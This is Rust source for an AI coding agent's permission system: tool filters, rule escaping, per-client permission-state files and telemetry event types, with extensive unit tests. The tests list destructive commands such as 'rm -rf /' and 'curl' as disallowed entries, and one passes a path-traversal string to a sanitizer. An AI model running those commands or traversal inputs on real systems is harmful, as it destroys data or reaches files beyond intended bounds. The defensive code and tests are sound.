"Bash" => Some(ToolFilter::Bash),
|
||||
"Read" | "NotebookRead" => Some(ToolFilter::Read),
|
||||
"Edit" | "Write" | "NotebookEdit" => Some(ToolFilter::Edit),
|
||||
"MCPTool" => Some(ToolFilter::Mcp),
|
||||
"Grep" | "Glob" => Some(ToolFilter::Grep),
|
||||
"WebFetch" => Some(ToolFilter::WebFetch),
|
||||
"WebSearch" => Some(ToolFilter::WebSearch),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// True if the byte at `pos` is NOT preceded by an odd number of backslashes.
|
||||
pub(crate) fn is_unescaped(bytes: &[u8], pos: usize) -> bool {
|
||||
let mut backslashes = 0usize;
|
||||
let mut j = pos;
|
||||
while j > 0 && bytes[j - 1] == b'\\' {
|
||||
backslashes += 1;
|
||||
j -= 1;
|
||||
}
|
||||
backslashes.is_multiple_of(2)
|
||||
}
|
||||
|
||||
pub(crate) fn find_first_unescaped(s: &str, target: u8) -> Option<usize> {
|
||||
let bytes = s.as_bytes();
|
||||
bytes
|
||||
.iter()
|
||||
.enumerate()
|
||||
.find(|&(i, &b)| b == target && is_unescaped(bytes, i))
|
||||
.map(|(i, _)| i)
|
||||
}
|
||||
|
||||
pub(crate) fn find_last_unescaped(s: &str, target: u8) -> Option<usize> {
|
||||
let bytes = s.as_bytes();
|
||||
(0..bytes.len())
|
||||
.rev()
|
||||
.find(|&i| bytes[i] == target && is_unescaped(bytes, i))
|
||||
}
|
||||
|
||||
/// Unescape rule content: `\(` → `(`, `\)` → `)`, `\\` → `\`.
|
||||
pub(crate) fn unescape_rule_content(s: &str) -> String {
|
||||
if !s.contains('\\') {
|
||||
return s.to_owned();
|
||||
}
|
||||
// Order matters: unescape parens before backslashes (reverse of escaping).
|
||||
s.replace("\\(", "(")
|
||||
.replace("\\)", ")")
|
||||
.replace("\\\\", "\\")
|
||||
}
|
||||
|
||||
pub(crate) fn strip_domain_prefix(pattern: String) -> (String, PatternMode) {
|
||||
match pattern.strip_prefix("domain:") {
|
||||
Some(domain) => (domain.to_string(), PatternMode::Domain),
|
||||
None => (pattern, PatternMode::Glob),
|
||||
}
|
||||
}
|
||||
|
||||
/// Bash `cmd:*` prefix idiom → bare prefix; only the trailing `:*` counts.
|
||||
/// Deliberately raw-prefix — a superset of a word-boundary `:*` (stricter for deny/ask,
|
||||
/// wider for allow), matching the evaluator's single prefix regime for every Bash literal.
|
||||
pub(crate) fn strip_bash_colon_wildcard(pattern: String) -> String {
|
||||
match pattern.strip_suffix(":*") {
|
||||
Some(prefix) => prefix.to_string(),
|
||||
None => pattern,
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,590 @@
|
||||
#![allow(dead_code)] // Phase 1 internal helpers
|
||||
|
||||
use crate::permission::types::EditPolicy;
|
||||
use kigi_paths::AbsPathBuf;
|
||||
use kigi_tools::util::kigi_home::kigi_home;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashSet;
|
||||
|
||||
#[derive(Debug, Default, Clone, Serialize, Deserialize)]
|
||||
#[serde(default)]
|
||||
pub struct PermissionState {
|
||||
pub edit_policy: EditPolicy,
|
||||
pub allow_bash_execute: bool,
|
||||
pub allowed_bash_commands: HashSet<String>,
|
||||
pub disallowed_bash_commands: HashSet<String>,
|
||||
/// Domains the user has approved for `web_fetch`
|
||||
/// during this session.
|
||||
pub allowed_web_fetch_domains: HashSet<String>,
|
||||
/// Exact MCP tool names (e.g. `"grok_com_notion__notion-fetch"`)
|
||||
/// the user has granted "always allow" for. Lookup is exact.
|
||||
pub allowed_mcp_tools: HashSet<String>,
|
||||
/// MCP server prefixes (everything before the first `__`,
|
||||
/// e.g. `"grok_com_notion"`) for which the user has granted
|
||||
/// "always allow" to every tool. Lookup is "tool name starts with
|
||||
/// `<prefix>__`".
|
||||
pub allowed_mcp_servers: HashSet<String>,
|
||||
}
|
||||
|
||||
fn state_dir_for_cwd(cwd: &AbsPathBuf) -> std::path::PathBuf {
|
||||
kigi_config::sessions_cwd_dir(cwd.as_str())
|
||||
}
|
||||
|
||||
fn sanitize_client_id(id: &str) -> String {
|
||||
id.chars()
|
||||
.map(|c| {
|
||||
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
|
||||
c
|
||||
} else {
|
||||
'_'
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn state_file_path(dir: &std::path::Path, client_identifier: Option<&str>) -> std::path::PathBuf {
|
||||
match client_identifier {
|
||||
Some(id) => dir.join(format!("permission_{}.toml", sanitize_client_id(id))),
|
||||
None => dir.join("permission.toml"),
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_load_state(path: &std::path::Path) -> Option<PermissionState> {
|
||||
match tokio::fs::read_to_string(path).await {
|
||||
Ok(s) => Some(toml::from_str(&s).unwrap_or_default()),
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
|
||||
Err(e) => {
|
||||
tracing::warn!(?e, "failed reading permission state");
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn load_state_from_dir(
|
||||
dir: &std::path::Path,
|
||||
client_identifier: Option<&str>,
|
||||
) -> PermissionState {
|
||||
if let Some(id) = client_identifier {
|
||||
let per_client = state_file_path(dir, Some(id));
|
||||
if let Some(state) = try_load_state(&per_client).await {
|
||||
return state;
|
||||
}
|
||||
let shared = state_file_path(dir, None);
|
||||
try_load_state(&shared).await.unwrap_or_default()
|
||||
} else {
|
||||
let path = state_file_path(dir, None);
|
||||
try_load_state(&path).await.unwrap_or_default()
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn load_state_from_disk(
|
||||
cwd: &AbsPathBuf,
|
||||
client_identifier: Option<&str>,
|
||||
) -> PermissionState {
|
||||
load_state_from_dir(&state_dir_for_cwd(cwd), client_identifier).await
|
||||
}
|
||||
|
||||
async fn persist_state_to_dir(
|
||||
dir: &std::path::Path,
|
||||
state: &PermissionState,
|
||||
client_identifier: Option<&str>,
|
||||
) {
|
||||
if let Err(e) = tokio::fs::create_dir_all(dir).await {
|
||||
tracing::warn!(?e, "failed creating permission state directory");
|
||||
return;
|
||||
}
|
||||
let path = state_file_path(dir, client_identifier);
|
||||
match toml::to_string_pretty(state) {
|
||||
Ok(s) => {
|
||||
if let Err(e) = tokio::fs::write(&path, s).await {
|
||||
tracing::warn!(?e, "failed writing permission state");
|
||||
}
|
||||
}
|
||||
Err(e) => tracing::warn!(?e, "failed serializing permission state"),
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn persist_state(
|
||||
cwd: &AbsPathBuf,
|
||||
state: &PermissionState,
|
||||
client_identifier: Option<&str>,
|
||||
) {
|
||||
persist_state_to_dir(&state_dir_for_cwd(cwd), state, client_identifier).await
|
||||
}
|
||||
|
||||
pub async fn cleanup_stale_permission_state(max_age: std::time::Duration) {
|
||||
let sessions_dir = kigi_home().join("sessions");
|
||||
let Ok(mut entries) = tokio::fs::read_dir(&sessions_dir).await else {
|
||||
return;
|
||||
};
|
||||
while let Ok(Some(session_entry)) = entries.next_entry().await {
|
||||
let Ok(ft) = session_entry.file_type().await else {
|
||||
continue;
|
||||
};
|
||||
if !ft.is_dir() {
|
||||
continue;
|
||||
}
|
||||
let session_dir = session_entry.path();
|
||||
let Ok(mut files) = tokio::fs::read_dir(&session_dir).await else {
|
||||
continue;
|
||||
};
|
||||
while let Ok(Some(file_entry)) = files.next_entry().await {
|
||||
let path = file_entry.path();
|
||||
let file_name = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
|
||||
if !file_name.starts_with("permission") || !file_name.ends_with(".toml") {
|
||||
continue;
|
||||
}
|
||||
if let Ok(metadata) = tokio::fs::metadata(&path).await
|
||||
&& let Ok(modified) = metadata.modified()
|
||||
&& let Ok(age) = modified.elapsed()
|
||||
&& age > max_age
|
||||
{
|
||||
tracing::debug!(path = %path.display(), "removing stale permission state");
|
||||
let _ = tokio::fs::remove_file(&path).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[allow(clippy::field_reassign_with_default)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
// ── PermissionState serialization roundtrip tests ─────────────
|
||||
|
||||
#[test]
|
||||
fn default_state_serialization() {
|
||||
let state = PermissionState::default();
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
assert!(!restored.allow_bash_execute);
|
||||
assert!(restored.allowed_bash_commands.is_empty());
|
||||
assert!(restored.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_commands() {
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = true;
|
||||
state.allowed_bash_commands.insert("cargo test".to_string());
|
||||
state
|
||||
.allowed_bash_commands
|
||||
.insert("npm run build".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert!(restored.allow_bash_execute);
|
||||
assert!(restored.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(restored.allowed_bash_commands.contains("npm run build"));
|
||||
assert_eq!(restored.allowed_bash_commands.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_disallowed_commands() {
|
||||
let mut state = PermissionState::default();
|
||||
state.disallowed_bash_commands.insert("rm -rf".to_string());
|
||||
state
|
||||
.disallowed_bash_commands
|
||||
.insert("git push --force".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
let denied = &restored.disallowed_bash_commands;
|
||||
assert!(denied.contains("rm -rf"));
|
||||
assert!(denied.contains("git push --force"));
|
||||
assert_eq!(denied.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_both_allowed_and_disallowed() {
|
||||
// Simulate a real scenario: some commands explicitly allowed,
|
||||
// others explicitly denied.
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = false;
|
||||
state.allowed_bash_commands.insert("cargo test".to_string());
|
||||
state.allowed_bash_commands.insert("git status".to_string());
|
||||
state
|
||||
.disallowed_bash_commands
|
||||
.insert("rm -rf /".to_string());
|
||||
state.disallowed_bash_commands.insert("curl".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert!(!restored.allow_bash_execute);
|
||||
assert_eq!(restored.allowed_bash_commands.len(), 2);
|
||||
assert_eq!(restored.disallowed_bash_commands.len(), 2);
|
||||
assert!(restored.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(restored.disallowed_bash_commands.contains("curl"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn edit_policy_is_persisted() {
|
||||
let mut state = PermissionState::default();
|
||||
state.edit_policy = EditPolicy::Allow;
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
assert!(toml_str.contains("edit_policy"));
|
||||
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
assert_eq!(restored.edit_policy, EditPolicy::Allow);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn edit_policy_reject_roundtrip() {
|
||||
let mut state = PermissionState::default();
|
||||
state.edit_policy = EditPolicy::Reject;
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
assert_eq!(restored.edit_policy, EditPolicy::Reject);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn missing_edit_policy_defaults_to_ask() {
|
||||
let toml_str = r#"allow_bash_execute = false"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert_eq!(state.edit_policy, EditPolicy::Ask);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_from_empty_toml() {
|
||||
let state: PermissionState = toml::from_str("").unwrap();
|
||||
assert!(!state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.is_empty());
|
||||
assert!(state.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_partial_toml() {
|
||||
// Only some fields present — others should default.
|
||||
let toml_str = r#"allow_bash_execute = true"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert!(state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.is_empty());
|
||||
assert!(state.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_web_fetch_domains() {
|
||||
let mut state = PermissionState::default();
|
||||
state
|
||||
.allowed_web_fetch_domains
|
||||
.insert("stackoverflow.com".to_string());
|
||||
state
|
||||
.allowed_web_fetch_domains
|
||||
.insert("custom.example.com".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_web_fetch_domains.len(), 2);
|
||||
assert!(
|
||||
restored
|
||||
.allowed_web_fetch_domains
|
||||
.contains("stackoverflow.com")
|
||||
);
|
||||
assert!(
|
||||
restored
|
||||
.allowed_web_fetch_domains
|
||||
.contains("custom.example.com")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_mcp_tools() {
|
||||
let mut state = PermissionState::default();
|
||||
state
|
||||
.allowed_mcp_tools
|
||||
.insert("grok_com_notion__notion-fetch".to_string());
|
||||
state
|
||||
.allowed_mcp_tools
|
||||
.insert("linear__list_issues".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_mcp_tools.len(), 2);
|
||||
assert!(
|
||||
restored
|
||||
.allowed_mcp_tools
|
||||
.contains("grok_com_notion__notion-fetch")
|
||||
);
|
||||
assert!(restored.allowed_mcp_tools.contains("linear__list_issues"));
|
||||
assert!(restored.allowed_mcp_servers.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_mcp_servers() {
|
||||
let mut state = PermissionState::default();
|
||||
state
|
||||
.allowed_mcp_servers
|
||||
.insert("grok_com_slack".to_string());
|
||||
state.allowed_mcp_servers.insert("linear".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_mcp_servers.len(), 2);
|
||||
assert!(restored.allowed_mcp_servers.contains("grok_com_slack"));
|
||||
assert!(restored.allowed_mcp_servers.contains("linear"));
|
||||
assert!(restored.allowed_mcp_tools.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_both_mcp_sets() {
|
||||
let mut state = PermissionState::default();
|
||||
state.allowed_mcp_tools.insert("notion__fetch".to_string());
|
||||
state.allowed_mcp_servers.insert("linear".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_mcp_tools.len(), 1);
|
||||
assert_eq!(restored.allowed_mcp_servers.len(), 1);
|
||||
assert!(restored.allowed_mcp_tools.contains("notion__fetch"));
|
||||
assert!(restored.allowed_mcp_servers.contains("linear"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_old_state_without_mcp_fields() {
|
||||
// A state file from a binary that predates this design has
|
||||
// neither MCP field. #[serde(default)] should yield empty sets.
|
||||
let toml_str = r#"
|
||||
allow_bash_execute = true
|
||||
allowed_bash_commands = ["cargo test"]
|
||||
allowed_web_fetch_domains = ["github.com"]
|
||||
"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert!(state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(state.allowed_web_fetch_domains.contains("github.com"));
|
||||
assert!(state.allowed_mcp_tools.is_empty());
|
||||
assert!(state.allowed_mcp_servers.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_unknown_fields_tolerated() {
|
||||
// PermissionState uses #[serde(default)] which provides defaults for
|
||||
// missing fields. It does NOT use #[serde(deny_unknown_fields)], so
|
||||
// unknown keys in TOML are silently ignored. This is important for
|
||||
// forward compatibility: older versions of the binary should be able
|
||||
// to read state files written by newer versions that may have added
|
||||
// new fields.
|
||||
let toml_str = r#"
|
||||
allow_bash_execute = false
|
||||
unknown_field = "should be ignored"
|
||||
allowed_bash_commands = ["ls"]
|
||||
"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert!(!state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.contains("ls"));
|
||||
assert!(state.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
// ── Disk persistence roundtrip tests ─────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn persist_and_load_roundtrip() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let cwd_path = tmp.path().join("my-project");
|
||||
std::fs::create_dir_all(&cwd_path).unwrap();
|
||||
let _cwd = AbsPathBuf::new(cwd_path).unwrap();
|
||||
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = true;
|
||||
state
|
||||
.allowed_bash_commands
|
||||
.insert("cargo build".to_string());
|
||||
state.disallowed_bash_commands.insert("rm -rf".to_string());
|
||||
|
||||
// Override the state dir to use our temp dir.
|
||||
// We can't easily override kigi_home(), so instead test
|
||||
// the serialize/deserialize path directly with TOML.
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let dir = tmp.path().join("sessions").join("test");
|
||||
tokio::fs::create_dir_all(&dir).await.unwrap();
|
||||
let path = dir.join("permission.toml");
|
||||
tokio::fs::write(&path, &toml_str).await.unwrap();
|
||||
|
||||
let content = tokio::fs::read_to_string(&path).await.unwrap();
|
||||
let restored: PermissionState = toml::from_str(&content).unwrap();
|
||||
|
||||
assert!(restored.allow_bash_execute);
|
||||
assert!(restored.allowed_bash_commands.contains("cargo build"));
|
||||
assert!(restored.disallowed_bash_commands.contains("rm -rf"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_missing_file_returns_default() {
|
||||
// Simulates load_state_from_disk behavior for a missing file.
|
||||
let path = std::path::Path::new("/nonexistent/permission.toml");
|
||||
let result = tokio::fs::read_to_string(path).await;
|
||||
match result {
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
|
||||
let state = PermissionState::default();
|
||||
assert!(!state.allow_bash_execute);
|
||||
}
|
||||
_ => panic!("expected NotFound error"),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_corrupt_file_returns_default() {
|
||||
// Simulates load_state_from_disk behavior for corrupt TOML.
|
||||
let corrupt = "this is not valid toml {{{{";
|
||||
let state: PermissionState = toml::from_str(corrupt).unwrap_or_default();
|
||||
assert!(!state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
// ── Per-client state file path tests ──────────────────────────
|
||||
|
||||
#[test]
|
||||
fn state_file_path_without_client_id() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), None);
|
||||
assert_eq!(path.file_name().unwrap(), "permission.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_file_path_with_client_id() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), Some("vscode-ext"));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_vscode-ext.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_file_path_empty_client_id() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), Some(""));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_file_path_sanitizes_path_separators() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), Some("foo/bar"));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
|
||||
|
||||
let path = state_file_path(tmp.path(), Some("foo\\bar"));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_client_id_prevents_traversal() {
|
||||
assert_eq!(sanitize_client_id("foo/../../attack"), "foo_______attack");
|
||||
assert_eq!(sanitize_client_id("normal-id"), "normal-id");
|
||||
assert_eq!(sanitize_client_id("has\0null"), "has_null");
|
||||
assert_eq!(sanitize_client_id("back\\slash"), "back_slash");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn try_load_state_missing_returns_none() {
|
||||
let result = try_load_state(std::path::Path::new("/nonexistent/permission.toml")).await;
|
||||
assert!(result.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn try_load_state_valid_file() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = tmp.path().join("permission.toml");
|
||||
tokio::fs::write(&path, "allow_bash_execute = true")
|
||||
.await
|
||||
.unwrap();
|
||||
let state = try_load_state(&path).await.unwrap();
|
||||
assert!(state.allow_bash_execute);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_persist_and_load_roundtrip() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = true;
|
||||
state.allowed_bash_commands.insert("cargo test".to_string());
|
||||
|
||||
persist_state_to_dir(dir, &state, Some("client_a")).await;
|
||||
|
||||
let loaded = load_state_from_dir(dir, Some("client_a")).await;
|
||||
assert!(loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.contains("cargo test"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_load_falls_back_to_shared() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut shared_state = PermissionState::default();
|
||||
shared_state.allow_bash_execute = true;
|
||||
shared_state
|
||||
.allowed_bash_commands
|
||||
.insert("cargo test".to_string());
|
||||
persist_state_to_dir(dir, &shared_state, None).await;
|
||||
|
||||
let loaded = load_state_from_dir(dir, Some("new_client")).await;
|
||||
assert!(loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.contains("cargo test"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_file_takes_priority_over_shared() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut shared_state = PermissionState::default();
|
||||
shared_state.allow_bash_execute = true;
|
||||
persist_state_to_dir(dir, &shared_state, None).await;
|
||||
|
||||
let mut client_state = PermissionState::default();
|
||||
client_state.allow_bash_execute = false;
|
||||
client_state
|
||||
.allowed_bash_commands
|
||||
.insert("npm test".to_string());
|
||||
persist_state_to_dir(dir, &client_state, Some("my-client")).await;
|
||||
|
||||
let loaded = load_state_from_dir(dir, Some("my-client")).await;
|
||||
assert!(!loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.contains("npm test"));
|
||||
|
||||
let shared_loaded = load_state_from_dir(dir, None).await;
|
||||
assert!(shared_loaded.allow_bash_execute);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_none_client_returns_default_when_no_file() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let loaded = load_state_from_dir(tmp.path(), None).await;
|
||||
assert!(!loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_isolation_between_clients() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut state_a = PermissionState::default();
|
||||
state_a
|
||||
.allowed_bash_commands
|
||||
.insert("cargo test".to_string());
|
||||
persist_state_to_dir(dir, &state_a, Some("client_a")).await;
|
||||
|
||||
let mut state_b = PermissionState::default();
|
||||
state_b.allowed_bash_commands.insert("npm test".to_string());
|
||||
persist_state_to_dir(dir, &state_b, Some("client_b")).await;
|
||||
|
||||
let loaded_a = load_state_from_dir(dir, Some("client_a")).await;
|
||||
assert!(loaded_a.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(!loaded_a.allowed_bash_commands.contains("npm test"));
|
||||
|
||||
let loaded_b = load_state_from_dir(dir, Some("client_b")).await;
|
||||
assert!(loaded_b.allowed_bash_commands.contains("npm test"));
|
||||
assert!(!loaded_b.allowed_bash_commands.contains("cargo test"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,639 @@
|
||||
use agent_client_protocol as acp;
|
||||
use chrono::{DateTime, Utc};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::oneshot;
|
||||
/// A permission event capturing the decision made for a tool call.
|
||||
/// Used for telemetry to track permission patterns and user behavior.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PermissionEvent {
|
||||
/// Tool call ID from the model
|
||||
pub tool_id: String,
|
||||
/// Name of the tool being executed
|
||||
pub tool_name: String,
|
||||
/// Type of access requested (read, edit, bash, mcp)
|
||||
pub access_kind: String,
|
||||
/// Additional context (e.g., file path for edit, command for bash)
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub access_detail: Option<String>,
|
||||
/// Whether YOLO mode was enabled when this decision was made
|
||||
pub yolo_mode: bool,
|
||||
/// Whether this was auto-approved (by YOLO mode or policy rules)
|
||||
pub auto_approved: bool,
|
||||
/// Whether the user was prompted for this decision
|
||||
pub user_prompted: bool,
|
||||
/// The final decision (allow, reject)
|
||||
pub decision: String,
|
||||
/// The user's choice when prompted (allow_once, allow_always, reject_once,
|
||||
/// etc.); None on auto/non-prompt decisions. The trigger lives in `decision_reason`.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub prompt_outcome: Option<String>,
|
||||
/// Rejection reason if rejected
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub reject_reason: Option<String>,
|
||||
/// When this decision was made
|
||||
pub timestamp: DateTime<Utc>,
|
||||
/// If this permission was requested by a subagent, the subagent's session ID.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub subagent_session_id: Option<String>,
|
||||
/// If this permission was requested by a subagent, its type (e.g. "explore").
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub subagent_type: Option<String>,
|
||||
/// If this permission was requested by a subagent, its description.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub subagent_description: Option<String>,
|
||||
/// Effective permission mode governing this decision (not the trigger):
|
||||
/// "ask" | "auto" | "always-approve". Hyphenated to match
|
||||
/// `config.ui.permission_mode` in the same trace (differs from the telemetry
|
||||
/// enum's underscore Mixpanel serde).
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub permission_mode: Option<String>,
|
||||
/// The trigger that produced this decision, distinct from `prompt_outcome`
|
||||
/// (which records the user's choice when prompted). Lets a trace show *why*
|
||||
/// a request reached a prompt even when `user_prompted=true`. Values:
|
||||
/// yolo, policy_allow, policy_deny, policy_ask, auto_fast_path,
|
||||
/// auto_classifier_allow, auto_classifier_block, sandbox_auto,
|
||||
/// persisted_grant, session_grant, static_allowlist, safe_command,
|
||||
/// session_deny, prompt_deny, needs_user, requester_gone.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub decision_reason: Option<String>,
|
||||
/// Elapsed milliseconds from the actor dequeuing this request to the decision
|
||||
/// resolving. The timer starts at dequeue, so it excludes time the request
|
||||
/// waited in the channel behind others; small for fast auto paths but
|
||||
/// non-trivial when an auto classifier side-query runs before the decision.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub wait_ms: Option<u64>,
|
||||
/// Concurrent in-flight permission requests (this one included) at emit time,
|
||||
/// counted across the shared handle so overlapping subagent requests show up.
|
||||
/// The per-turn "hit yes N times" count is instead the number of
|
||||
/// `user_prompted=true` events in the turn, not this field.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub queue_depth: Option<u32>,
|
||||
}
|
||||
/// Identifies the type of client connecting to the agent.
|
||||
/// Used to determine which permission UI features to enable
|
||||
/// and which feedback/experiment client type to report.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, serde::Serialize, serde::Deserialize)]
|
||||
pub enum ClientType {
|
||||
/// Generic client - show simple permission options with full command text
|
||||
#[default]
|
||||
#[serde(rename = "generic", alias = "grok-shell", alias = "grok_shell")]
|
||||
Generic,
|
||||
/// Grok TUI client - show fancy options with interactive bash term selection
|
||||
#[serde(rename = "grok-tui", alias = "grok_tui")]
|
||||
GrokTUI,
|
||||
/// Grok Web client - identified by clientIdentifier "grok-web"
|
||||
#[serde(rename = "grok_web")]
|
||||
GrokWeb,
|
||||
/// Named client (`"nebula"`) — uses the generic permission UI
|
||||
#[serde(rename = "nebula")]
|
||||
Nebula,
|
||||
/// IDE extension client (VS Code and similar) - identified by clientIdentifier "grok-code-extension"
|
||||
#[serde(rename = "extension")]
|
||||
Extension,
|
||||
